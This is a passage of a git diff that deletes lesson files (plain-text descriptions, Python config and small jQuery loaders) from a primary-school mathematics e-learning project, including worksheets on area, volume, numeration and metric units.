-What would be the surface area in hectares of a square piece of land one kilometer on a side? The surface area is 1 km2. This is also a square with 1000 meters on a side. Think of our 1m2 tiles. We would need 1000x1000 tiles to cover the surface! So a square kilometre has the same surface area as 100 hectares.
-
-Remember that when we multiply a number by itself, we call the product the square of the number - can you see why? If I have a square 2 meters on a side, the surface area is the square of the length, 4 m2.
diff --git a/Save_Mathematics/P5/map512m07/map512m07a02/a.txt b/Save_Mathematics/P5/map512m07/map512m07a02/a.txt
deleted file mode 100644
index 8195f4e..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a02/a.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-Guided Practice
-
-The computer will pose problems in converting between units of surface area and land surface area. If the student gives an incorrect answer, the computer will animate the procedure using conversion tables and by numerical reasoning.
-This activity continues until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m07/map512m07a02/description.py b/Save_Mathematics/P5/map512m07/map512m07a02/description.py
deleted file mode 100644
index 24b33e0..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m07a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m07/map512m07a02/lesson.js b/Save_Mathematics/P5/map512m07/map512m07a02/lesson.js
deleted file mode 100644
index ba1bd8b..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m07/map512m07a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m07/map512m07a02/source.txt b/Save_Mathematics/P5/map512m07/map512m07a02/source.txt
deleted file mode 100644
index 8195f4e..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a02/source.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-Guided Practice
-
-The computer will pose problems in converting between units of surface area and land surface area. If the student gives an incorrect answer, the computer will animate the procedure using conversion tables and by numerical reasoning.
-This activity continues until the student is satisfied that he/she has mastered the skill.
diff --git a/Save_Mathematics/P5/map512m07/map512m07a03/a.txt b/Save_Mathematics/P5/map512m07/map512m07a03/a.txt
deleted file mode 100644
index 5c4ffac..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will present a series of problems involving converting between units of land and surface area measurements to evaluate whether the student has achieved the learning outcomes for the milestone.
diff --git a/Save_Mathematics/P5/map512m07/map512m07a03/description.py b/Save_Mathematics/P5/map512m07/map512m07a03/description.py
deleted file mode 100644
index 5476c83..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m07a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m07/map512m07a03/lesson.js b/Save_Mathematics/P5/map512m07/map512m07a03/lesson.js
deleted file mode 100644
index 0c083d1..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m07/map512m07a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m07/map512m07a03/source.txt b/Save_Mathematics/P5/map512m07/map512m07a03/source.txt
deleted file mode 100644
index 5c4ffac..0000000
--- a/Save_Mathematics/P5/map512m07/map512m07a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The computer will present a series of problems involving converting between units of land and surface area measurements to evaluate whether the student has achieved the learning outcomes for the milestone.
diff --git a/Save_Mathematics/P5/map512m08/activities.js b/Save_Mathematics/P5/map512m08/activities.js
deleted file mode 100644
index 25f9fb8..0000000
--- a/Save_Mathematics/P5/map512m08/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map5','basic','map512m08a01','blue'],
-['2','2','map5','basic','map512m08a02','blue'],
-['3','3','map5','basic','map512m08a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map512m08/map512m08a01/a.txt b/Save_Mathematics/P5/map512m08/map512m08a01/a.txt
deleted file mode 100644
index 4303e00..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a01/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-This activity will introduce the notion of volume. It will introduce the units of volume: m3, dm3, cm3, and mm3. It will show the students the difference between units of volume changes by 103. It will introduce the special unit (stere) used to measure the volume of firewood.
diff --git a/Save_Mathematics/P5/map512m08/map512m08a01/description.py b/Save_Mathematics/P5/map512m08/map512m08a01/description.py
deleted file mode 100644
index 122a294..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m08a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m08/map512m08a01/lesson.js b/Save_Mathematics/P5/map512m08/map512m08a01/lesson.js
deleted file mode 100644
index 63ff77c..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m08/map512m08a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m08/map512m08a01/source.txt b/Save_Mathematics/P5/map512m08/map512m08a01/source.txt
deleted file mode 100644
index 4303e00..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a01/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-This activity will introduce the notion of volume. It will introduce the units of volume: m3, dm3, cm3, and mm3. It will show the students the difference between units of volume changes by 103. It will introduce the special unit (stere) used to measure the volume of firewood.
diff --git a/Save_Mathematics/P5/map512m08/map512m08a02/a.txt b/Save_Mathematics/P5/map512m08/map512m08a02/a.txt
deleted file mode 100644
index 5b74b29..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The activity will present the students with problems in converting meaures of volume from one unit to another. If the student's answer is incorrect, the computer will work out the solution using animation and explanation. The student continues the activity until satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P5/map512m08/map512m08a02/description.py b/Save_Mathematics/P5/map512m08/map512m08a02/description.py
deleted file mode 100644
index 525152b..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m08a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m08/map512m08a02/lesson.js b/Save_Mathematics/P5/map512m08/map512m08a02/lesson.js
deleted file mode 100644
index 5199e3c..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m08/map512m08a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m08/map512m08a02/source.txt b/Save_Mathematics/P5/map512m08/map512m08a02/source.txt
deleted file mode 100644
index 5b74b29..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The activity will present the students with problems in converting meaures of volume from one unit to another. If the student's answer is incorrect, the computer will work out the solution using animation and explanation. The student continues the activity until satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P5/map512m08/map512m08a03/a.txt b/Save_Mathematics/P5/map512m08/map512m08a03/a.txt
deleted file mode 100644
index 8875bcc..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The activity will evaluate the student's ability to solve problems in converting meaures of volume from one unit to another. 
diff --git a/Save_Mathematics/P5/map512m08/map512m08a03/description.py b/Save_Mathematics/P5/map512m08/map512m08a03/description.py
deleted file mode 100644
index 6d71cc1..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map512m08a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map512m08/map512m08a03/lesson.js b/Save_Mathematics/P5/map512m08/map512m08a03/lesson.js
deleted file mode 100644
index 712bf97..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map512m08/map512m08a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map512m08/map512m08a03/source.txt b/Save_Mathematics/P5/map512m08/map512m08a03/source.txt
deleted file mode 100644
index 8875bcc..0000000
--- a/Save_Mathematics/P5/map512m08/map512m08a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The activity will evaluate the student's ability to solve problems in converting meaures of volume from one unit to another. 
diff --git a/Save_Mathematics/P5/milestones.js b/Save_Mathematics/P5/milestones.js
deleted file mode 100644
index 8ac4f44..0000000
--- a/Save_Mathematics/P5/milestones.js
+++ /dev/null
@@ -1,30 +0,0 @@
-var activities = [
-  ['0',1,'map5','milestone','map511m01','cyan'],
-  ['0',2,'map5','milestone','map511m02','cyan'],
-  ['0',3,'map5','milestone','map511m03','cyan'],
-  ['0',4,'map5','milestone','map511m04','cyan'],
-  ['0',5,'map5','milestone','map511m05','cyan'],
-  ['0',6,'map5','milestone','map511m06','cyan'],
-  ['0',7,'map5','milestone','map511m07','cyan'],
-  ['0',8,'map5','milestone','map511m08','cyan'],
-  ['0',9,'map5','milestone','map511m09','cyan'],
-  ['0',10,'map5','milestone','map511m10','cyan'],
-  ['0',11,'map5','milestone','map511m11','cyan'],
-  ['0',12,'map5','milestone','map511m12','cyan'],
-  ['0',13,'map5','milestone','map511m13','cyan'],
-  ['0',14,'map5','milestone','map511m14','cyan'],
-  ['0',15,'map5','milestone','map511m15','cyan'],
-  ['0',16,'map5','milestone','map511m16','cyan'],
-  ['0',17,'map5','milestone','map511m17','cyan'],
-  ['0',18,'map5','milestone','map511m18','cyan'],
-  ['0',19,'map5','milestone','map512m01','cyan'],
-  ['0',20,'map5','milestone','map512m02','cyan'],
-  ['0',21,'map5','milestone','map512m03','cyan'],
-  ['0',22,'map5','milestone','map512m04','cyan'],
-  ['0',23,'map5','milestone','map512m05','cyan'],
-  ['0',24,'map5','milestone','map512m06','cyan'],
-  ['0',25,'map5','milestone','map512m07','cyan'],
-  ['0',26,'map5','milestone','map512m08','cyan'],
-];
-var assetList= [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m01/activities.js b/Save_Mathematics/P6/map611m01/activities.js
deleted file mode 100755
index 68a8a5e..0000000
--- a/Save_Mathematics/P6/map611m01/activities.js
+++ /dev/null
@@ -1,9 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m01a01','blue'],
-['2','2','map6','basic','map611m01a02','blue'],
-['3','3','map6','basic','map611m01a03','blue'],
-['4','4','map6','basic','map611m01a04','blue'],
-['5','5','map6','basic','map611m01a05','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m01/map611m01a01/a.txt b/Save_Mathematics/P6/map611m01/map611m01a01/a.txt
deleted file mode 100644
index c054a70..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a01/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  INTRODUCTION: P5 REVIEW.
- </span>
-</p>
-<p>
- Counting numbers is something very important in each business in order to be successeful.If you are an agriculture you are obliged to know the time required to finish your work,you have to know the number of works and the money to pay for them.If you are a pupil,you need to learn to count numbers,to read and to write them.You are learning mathematic so that you can add,you can subtract,you can multiply and divide numbers for getting the result.It becomes that you need to measure the distance from home to school or from home to church,from one place to another place or from one Town to another Town.When you need to make fournitures or constructing houses you are using lines and angles.
- <br />
- <br />
- In this milestone we are going to riview what we have learned in Numeration and operations,in measurements and then in geometric figures.
- <br />
- <br />
- Now,try one by one !
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a01/description.py b/Save_Mathematics/P6/map611m01/map611m01a01/description.py
deleted file mode 100644
index f17df8f..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m01a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m01/map611m01a01/lesson.js b/Save_Mathematics/P6/map611m01/map611m01a01/lesson.js
deleted file mode 100644
index 5dae206..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m01/map611m01a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m01/map611m01a01/source.txt b/Save_Mathematics/P6/map611m01/map611m01a01/source.txt
deleted file mode 100644
index c054a70..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a01/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  INTRODUCTION: P5 REVIEW.
- </span>
-</p>
-<p>
- Counting numbers is something very important in each business in order to be successeful.If you are an agriculture you are obliged to know the time required to finish your work,you have to know the number of works and the money to pay for them.If you are a pupil,you need to learn to count numbers,to read and to write them.You are learning mathematic so that you can add,you can subtract,you can multiply and divide numbers for getting the result.It becomes that you need to measure the distance from home to school or from home to church,from one place to another place or from one Town to another Town.When you need to make fournitures or constructing houses you are using lines and angles.
- <br />
- <br />
- In this milestone we are going to riview what we have learned in Numeration and operations,in measurements and then in geometric figures.
- <br />
- <br />
- Now,try one by one !
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a02/a.txt b/Save_Mathematics/P6/map611m01/map611m01a02/a.txt
deleted file mode 100644
index 0166a37..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a02/a.txt
+++ /dev/null
@@ -1,236 +0,0 @@
-<p>
- NUMERATION AND OPERATIONS:
-</p>
-<p>
- 1.Give any four numbers that can be formed using the digits below:
- <br />
- a) 7;5;2;3
- <br />
- B) 4;9;1
- <br />
- <br />
- 2.Write down the lowest number that can be formed using all the digits below:
- <br />
- <br />
- a) 3;6;9;8
- <br />
- b)2;5;7;9
- <br />
- <br />
- 3.What is the difference the greatest and the smallest number that can beformed using the following digits:
- <br />
- a)1;6;7;8
- <br />
- b) 9;3;8;1
- <br />
- <br />
- 4.Complete the following numbers using &lt;,&gt; or =
- <br />
- <br />
- a) 895,763..............895,763
- <br />
- b) 67986.................67976
- <br />
- c) 408,505...............409,505
- <br />
- <br />
- 5. a) Arrange the following numbers from the smallest to the greatest:
- <br />
- 773,685/773586/685773/685737
- <br />
- <br />
- b)Arrange the following numbers from the greatest to the smallest:
- <br />
- 54,762/54,276/74,625/26,745
- <br />
- <br />
- 6.Write the place value of each digits:
- <br />
- a)74528
- <br />
- b)93736
- <br />
- <br />
- 7.Write the following in numbers:
- <br />
- a)58387
- <br />
- B)785379
- <br />
- <br />
- 8.Write the following in figures:
- <br />
- <br />
- a) Thirty and seven
- <br />
- b) Five hundred thound and fifty nine
- <br />
- C)Six hundred eleven thousand,two hundred and eighty-four
- <br />
- <br />
- 9) Work out the following:
- <br />
- <br />
- a)897,569-796,457=
- <br />
- b)94675+6346=
- <br />
- c)65*358=
- <br />
- d)625&divide;25=
- <br />
- <br />
- 10.Fill in the missing number:
- <br />
- <br />
- a)8/11/14/........../........
- <br />
- b)49/45/41/......./........
- <br />
- <br />
- 11.Which of the following number is divided by 5
- <br />
- a)124 b)59 c)975 d)370
- <br />
- <br />
- 12.What number has been factorised to 2*3*5*5 ?
- <br />
- <br />
- 13.Find the average of 15/35/20/and 30
- <br />
- <br />
- 14.Change 64
- <sub>
-  ten
- </sub>
- to base five
- <br />
- <br />
- 15.What is the place vlue of the underlined digits:
- <br />
- <br />
- a)
- <span style="text-decoration: underline;">
-  6
- </span>
- 34.2
- <span style="text-decoration: underline;">
-  8
- </span>
- <br />
- b)5
- <span style="text-decoration: underline;">
-  4
- </span>
- .98
- <span style="text-decoration: underline;">
-  7
- </span>
- <br />
- <br />
- 16.Write the following in words:
- <br />
- <br />
- a) 9.07
- <br />
- b)23.398
- <br />
- <br />
- 17.Compare using &lt;,&gt; or =
- <br />
- <br />
- a) 45.800..........45.8
- <br />
- b)32.789.........32.879
- <br />
- c) 879.567........978.567
- <br />
- <br />
- 18.Arrange from the greatest number
- <br />
- 8.076 /8.067/8.076/8.760
- <br />
- <br />
-</p>
-<div style="text-align: left;">
- <div style="text-align: left;">
-  19. a) Subtract: 0,098 from 2
-  <br />
-  b)Add:76.213+0.987=
-  <br />
-  c)Multiply 45.87 by 8.3=
-  <br />
-  d)Divide:0.720&divide;0.36=
-  <br />
-  e)Simplify(0.121&divide;0.11)*0.9=
-  <br />
-  f)Calculate 65-9.65+23.543=
- </div>
-</div>
-<p>
- <br />
- 20.What is the reciprocal of 3/4 ?
- <br />
- <br />
- 21. a)Add 5/9+3/9=
- <br />
- b)Multiply 7*6/7=
- <br />
- c)Divide 16&divide;4/8=
- <br />
- d)Subtract84/32-19/16=
- <br />
- e)What is 25/75 of 4 ?
- <br />
- <br />
- 22.a) Express 0.08 as a common fraction
- <br />
- b)Express 7/8 as a decimal
- <br />
- <br />
- 23.Arrange in descending order: 4/6;8/5;9/3;5/5
- <br />
- <br />
- 24.Write four equivalent of5/6
- <br />
- <br />
- 25.Which is greater between 3/9 or3/6 ?
- <br />
- <br />
- 26.PROBLEMS:
- <br />
- <br />
- a)Habumugisha bought 25 Tones of beans at 300 RWF per kilo and sold them at 4,800,000 RWF.What profit did he make?
- <br />
- <br />
- b) If 12 goats have beneen bought at 216,000 RWF and sold at 214,700 RWF,calculate the loss made.
- <br />
- <br />
- C)If the cost of 50 kg of sugar is 30,000 RWF,What is the cost of 13 gk ?
- <br />
- <br />
- D) Simon can make a garden in 12 days.If 4 works make a similar garden by working the same hours per day,in how many days will they accomplish that task.
- <br />
- <br />
- e) There are 1240 girls,children and boys in the meeting altogether.35% of them are boys,25% are boys,the last ones are children.
- <br />
- -Calculate the percentage of the children,
- <br />
- -How many children are there?
- <br />
- -How many boys are there?
- <br />
- -How many girls are there?
- <br />
- <br />
- f.One laptop(hp) costs 35,000 RWF more than the cost of Toshiba.If the total cost is 435,000 RWF ,find the cost of each Laptop.
- <br />
- <br />
- g.The salary of Mbabazi is five times as much as Karangwa's salary.
- <br />
- Calculate the salary of Mbabazi and Karangwa.
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a02/description.py b/Save_Mathematics/P6/map611m01/map611m01a02/description.py
deleted file mode 100644
index e8264b9..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m01a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m01/map611m01a02/lesson.js b/Save_Mathematics/P6/map611m01/map611m01a02/lesson.js
deleted file mode 100644
index 1720344..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m01/map611m01a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m01/map611m01a02/source.txt b/Save_Mathematics/P6/map611m01/map611m01a02/source.txt
deleted file mode 100644
index 0166a37..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a02/source.txt
+++ /dev/null
@@ -1,236 +0,0 @@
-<p>
- NUMERATION AND OPERATIONS:
-</p>
-<p>
- 1.Give any four numbers that can be formed using the digits below:
- <br />
- a) 7;5;2;3
- <br />
- B) 4;9;1
- <br />
- <br />
- 2.Write down the lowest number that can be formed using all the digits below:
- <br />
- <br />
- a) 3;6;9;8
- <br />
- b)2;5;7;9
- <br />
- <br />
- 3.What is the difference the greatest and the smallest number that can beformed using the following digits:
- <br />
- a)1;6;7;8
- <br />
- b) 9;3;8;1
- <br />
- <br />
- 4.Complete the following numbers using &lt;,&gt; or =
- <br />
- <br />
- a) 895,763..............895,763
- <br />
- b) 67986.................67976
- <br />
- c) 408,505...............409,505
- <br />
- <br />
- 5. a) Arrange the following numbers from the smallest to the greatest:
- <br />
- 773,685/773586/685773/685737
- <br />
- <br />
- b)Arrange the following numbers from the greatest to the smallest:
- <br />
- 54,762/54,276/74,625/26,745
- <br />
- <br />
- 6.Write the place value of each digits:
- <br />
- a)74528
- <br />
- b)93736
- <br />
- <br />
- 7.Write the following in numbers:
- <br />
- a)58387
- <br />
- B)785379
- <br />
- <br />
- 8.Write the following in figures:
- <br />
- <br />
- a) Thirty and seven
- <br />
- b) Five hundred thound and fifty nine
- <br />
- C)Six hundred eleven thousand,two hundred and eighty-four
- <br />
- <br />
- 9) Work out the following:
- <br />
- <br />
- a)897,569-796,457=
- <br />
- b)94675+6346=
- <br />
- c)65*358=
- <br />
- d)625&divide;25=
- <br />
- <br />
- 10.Fill in the missing number:
- <br />
- <br />
- a)8/11/14/........../........
- <br />
- b)49/45/41/......./........
- <br />
- <br />
- 11.Which of the following number is divided by 5
- <br />
- a)124 b)59 c)975 d)370
- <br />
- <br />
- 12.What number has been factorised to 2*3*5*5 ?
- <br />
- <br />
- 13.Find the average of 15/35/20/and 30
- <br />
- <br />
- 14.Change 64
- <sub>
-  ten
- </sub>
- to base five
- <br />
- <br />
- 15.What is the place vlue of the underlined digits:
- <br />
- <br />
- a)
- <span style="text-decoration: underline;">
-  6
- </span>
- 34.2
- <span style="text-decoration: underline;">
-  8
- </span>
- <br />
- b)5
- <span style="text-decoration: underline;">
-  4
- </span>
- .98
- <span style="text-decoration: underline;">
-  7
- </span>
- <br />
- <br />
- 16.Write the following in words:
- <br />
- <br />
- a) 9.07
- <br />
- b)23.398
- <br />
- <br />
- 17.Compare using &lt;,&gt; or =
- <br />
- <br />
- a) 45.800..........45.8
- <br />
- b)32.789.........32.879
- <br />
- c) 879.567........978.567
- <br />
- <br />
- 18.Arrange from the greatest number
- <br />
- 8.076 /8.067/8.076/8.760
- <br />
- <br />
-</p>
-<div style="text-align: left;">
- <div style="text-align: left;">
-  19. a) Subtract: 0,098 from 2
-  <br />
-  b)Add:76.213+0.987=
-  <br />
-  c)Multiply 45.87 by 8.3=
-  <br />
-  d)Divide:0.720&divide;0.36=
-  <br />
-  e)Simplify(0.121&divide;0.11)*0.9=
-  <br />
-  f)Calculate 65-9.65+23.543=
- </div>
-</div>
-<p>
- <br />
- 20.What is the reciprocal of 3/4 ?
- <br />
- <br />
- 21. a)Add 5/9+3/9=
- <br />
- b)Multiply 7*6/7=
- <br />
- c)Divide 16&divide;4/8=
- <br />
- d)Subtract84/32-19/16=
- <br />
- e)What is 25/75 of 4 ?
- <br />
- <br />
- 22.a) Express 0.08 as a common fraction
- <br />
- b)Express 7/8 as a decimal
- <br />
- <br />
- 23.Arrange in descending order: 4/6;8/5;9/3;5/5
- <br />
- <br />
- 24.Write four equivalent of5/6
- <br />
- <br />
- 25.Which is greater between 3/9 or3/6 ?
- <br />
- <br />
- 26.PROBLEMS:
- <br />
- <br />
- a)Habumugisha bought 25 Tones of beans at 300 RWF per kilo and sold them at 4,800,000 RWF.What profit did he make?
- <br />
- <br />
- b) If 12 goats have beneen bought at 216,000 RWF and sold at 214,700 RWF,calculate the loss made.
- <br />
- <br />
- C)If the cost of 50 kg of sugar is 30,000 RWF,What is the cost of 13 gk ?
- <br />
- <br />
- D) Simon can make a garden in 12 days.If 4 works make a similar garden by working the same hours per day,in how many days will they accomplish that task.
- <br />
- <br />
- e) There are 1240 girls,children and boys in the meeting altogether.35% of them are boys,25% are boys,the last ones are children.
- <br />
- -Calculate the percentage of the children,
- <br />
- -How many children are there?
- <br />
- -How many boys are there?
- <br />
- -How many girls are there?
- <br />
- <br />
- f.One laptop(hp) costs 35,000 RWF more than the cost of Toshiba.If the total cost is 435,000 RWF ,find the cost of each Laptop.
- <br />
- <br />
- g.The salary of Mbabazi is five times as much as Karangwa's salary.
- <br />
- Calculate the salary of Mbabazi and Karangwa.
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a03/a.txt b/Save_Mathematics/P6/map611m01/map611m01a03/a.txt
deleted file mode 100644
index c1e28d2..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a03/a.txt
+++ /dev/null
@@ -1,69 +0,0 @@
-<p>
- <strong>
-  Metric System
- </strong>
-</p>
-<p>
- Work out the following :
- <br />
- 1. 9km=..........dam=.........dm=..........cm
- <br />
- <br />
- 2. 64 dam=..........m=............dm=.............mm
- <br />
- <br />
- 3.The distance from home to church is 6500m,and from church to the AMAHORO STADIUM is 986m,while from Amahoro Stadium to home is 7486m.Find the total distance in meters.
- <br />
- <br />
- 4. Subtract 480l-421dl=..............cl
- <br />
- <br />
- 5. Add (4hl+803 dl)*5=.................dl
- <br />
- <br />
- 6. 8 tonnes+297 dag+904g=............g
- <br />
- <br />
- 7. Subtract 957 kg from 9 tonnes
- <br />
- 8. 6,895dam
- <sup>
-  2
- </sup>
- =..........................m
- <sup>
-  2
- </sup>
- <br />
- <br />
- 9. 35 ha +85 m
- <sup>
-  2
- </sup>
- =.....................cm
- <sup>
-  2
- </sup>
- <br />
- 10. The volume of firewood is 400 decisteres.Express this volume in dm
- <sup>
-  3
- </sup>
- .
- <br />
- 11. 845 dam
- <sup>
-  3
- </sup>
- =.............hl=..................t
- <br />
- <br />
- 12. 15 hrs 43min 49 sec +8 hrs 35min 29 sec =.....................
- <br />
- 13. 25hrs 56 min -20 hrs 52 min =..........................
- <br />
- 14. 2 hrs 80 min *3=
- <br />
- <br />
- 15. 10 hrs 35 min / 5 =..........
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m01/map611m01a03/description.py b/Save_Mathematics/P6/map611m01/map611m01a03/description.py
deleted file mode 100644
index b65ba6e..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m01a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m01/map611m01a03/lesson.js b/Save_Mathematics/P6/map611m01/map611m01a03/lesson.js
deleted file mode 100644
index 0c84df5..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m01/map611m01a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m01/map611m01a03/source.txt b/Save_Mathematics/P6/map611m01/map611m01a03/source.txt
deleted file mode 100644
index c1e28d2..0000000
--- a/Save_Mathematics/P6/map611m01/map611m01a03/source.txt
+++ /dev/null
@@ -1,69 +0,0 @@
-<p>
- <strong>
-  Metric System
- </strong>
-</p>
-<p>
- Work out the following :
- <br />
- 1. 9km=..........dam=.........dm=..........cm
- <br />
- <br />
- 2. 64 dam=..........m=............dm=.............mm
- <br />
- <br />
- 3.The distance from home to church is 6500m,and from church to the AMAHORO STADIUM is 986m,while from Amahoro Stadium to home is 7486m.Find the total distance in meters.
- <br />
- <br />
- 4. Subtract 480l-421dl=..............cl
